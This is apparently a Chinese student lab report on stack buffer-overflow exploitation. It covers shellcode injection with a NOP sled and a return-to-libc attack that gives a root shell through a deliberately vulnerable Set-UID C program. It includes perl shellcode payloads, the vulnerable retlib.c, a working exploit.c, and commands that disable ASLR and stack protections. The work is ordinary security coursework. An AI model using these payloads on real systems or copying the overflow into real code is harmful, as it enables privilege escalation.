20145330 《网络对抗》PC平台逆向破解：注入shellcode 和 Return-to-libc 攻击实验

20145330 《网络对抗》PC平台逆向破解：注入shellcode

实验步骤

1、用于获取shellcode的C语言代码

2、设置环境

Bof攻击防御技术

• 需要手动设置环境使注入的shellcode到堆栈上可执行。
• 具体在终端输入如下：

	root@KaliYL:~# execstack -s pwnyx    //设置堆栈可执行
	root@KaliYL:~# execstack -q pwnyx    //查询文件的堆栈是否可执行
	X pwn1
	root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
	2
	root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
	root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
	0

在输入前需要安装execstack，

	apt-cache search execstack
	apt-get install execstack

第一次安装并没有成功，在请教了张梓同学后得知是虚拟机没有连网，所以无法安装成功，需要关闭虚拟机，选择网络适配器将网桥改为net，再次打开虚拟机输入命令安装成功。

3. 构造要注入的payload

我们这个buf够放在shellcode，结构为：nops+shellcode+retaddr。nop一为是了填充，二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

• 在终端中输入如下：

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

• 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
  
  特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
• 接下来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf：

再开另外一个终端，用gdb来调试pwnyx这个进程，找到pwnyx的进程号

//1、找到pwnyx的进程号是：2440

//2、启动gdb调试这个进程

ret完，就跳到我们覆盖的retaddr那个地方了

通过设置断点，来查看注入buf的内存地址

此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

通过如下方式寻找需要输入的地址：

看到01020304了，就表明了这是返回地址的位置，也就是说0Xffffd32c是此时的位置。shellcode就紧紧的挨着这个地址，所以要输入地址是0xffffd330

回到另一个终端（将之前那个终端quit退出），将input_shellcode修改如下：

perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

并没有成功，查找原因。

重新又来了一遍...结果发现是粘贴代码的时候\x30\xd3（我的输入地址）这里粘成\x30\xd6了...结果死活检查不出来，以后还是要细心一些。就当巩固知识了。

成功。

20145330 Return-to-libc 攻击实验

一、实验描述

在做过缓冲区溢出漏洞实验后，进行了本次实验。

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址，使得漏洞程序去执行存放在栈中 shellcode。但是保护方式并不是完全有效的，现在存在一种缓冲区溢出的变体攻击，叫做 return-to-libc 攻击。

这种攻击不需要一个栈可以执行，甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码（比如已经载入内存的 libc 库中的 system（）函数等）来实现我们的攻击。

二、实验准备

提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

1、输入命令安装一些用于编译 32 位 C 程序的东西：

	sudo apt-get update

	sudo apt-get install lib32z1 libc6-dev-i386

	sudo apt-get install lib32readline-gplv2-dev

2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash：

三、实验步骤

3.1 初始设置

Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多 shell 程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在/bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替/bin/bash。下面的指令描述了如何设置 zsh 程序：

	sudo su

	cd /bin

	rm sh

	ln -s zsh sh

	exit

为了防止缓冲区溢出攻击，最近版本的 gcc 编译器默认将程序编译设置为栈不可执行，而你可以在编译的时候手动设置是否使栈不可执行：

	gcc -z execstack -o test test.c    #栈可执行

	gcc -z noexecstack -o test test.c  #栈不可执行

本次实验的目的，就是展示这个“栈不可执行”的保护措施并不是完全有效，所以我们使用“-z noexecstack”，或者不手动指定而使用编译器的默认设置。

3.2 漏洞程序

把以下代码保存为“retlib.c”文件，保存到 /tmp 目录下。代码如下：

	#include <stdlib.h>
	#include <stdio.h>
	#include <string.h>
	int bof(FILE *badfile)
	{
	char buffer[12];
	/* The following statement has a buffer overflow problem */
	fread(buffer, sizeof(char), 40, badfile);
	return 1;
	}
	int main(int argc, char **argv)
	{
	FILE *badfile;
	badfile = fopen("badfile", "r");
	bof(badfile);
	printf("Returned Properly\n");
	fclose(badfile);
	return 1;
	}

编译该程序，并设置 SET-UID。命令如下：

	sudo su

	gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

	chmod u+s retlib

	exit

上述程序有一个缓冲区溢出漏洞，它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer，引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序，如果一个普通用户利用了此缓冲区溢出漏洞，他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的，这个文件受用户控制。现在我们的目标是为“badfile”创建内容，这样当这段漏洞程序将此内容复制进它的缓冲区，便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序：

	/* getenvaddr.c */
	#include <stdio.h>
	#include <stdlib.h>
	#include <string.h>

	int main(int argc, char const *argv[])
	{
	 char *ptr;

	 if(argc < 3){
	    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
	    exit(0);
	    }
	 ptr = getenv(argv[1]);
	 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
	 printf("%s will be at %p\n", argv[1], ptr);
	 return 0;
	}

3.3 攻击程序

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

	/* exploit.c */
	#include <stdlib.h>
	#include <stdio.h>
	#include <string.h>
	int main(int argc, char **argv)
	{
	 char buf[40];
	 FILE *badfile;
	 badfile = fopen(".//badfile", "w");

	 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

	 *(long *) &buf[32] =0x11111111; // "//bin//sh"
	 *(long *) &buf[24] =0x22222222; // system()
	 *(long *) &buf[36] =0x33333333; // exit()
	 fwrite(buf, sizeof(buf), 1, badfile);
	 fclose(badfile);
	}

代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址，需要我们接下来获取。

3.4 获取内存地址

1、用刚才的 getenvaddr 程序获得 BIN_SH 地址：

我的地址为0xffffdef4

2、gdb 获得 system 和 exit 地址：

修改 exploit.c 文件，填上刚才找到的内存地址：

删除刚才调试编译的 exploit 程序和 badfile 文件，重新编译修改后的 exploit.c：

3.5 攻击

先运行攻击程序 exploit，再运行漏洞程序 retlib，可见攻击成功，获得了 root 权限：

运行攻击程序，生成badlife文件

运行漏洞程序，可见攻击成功，获得了root权限。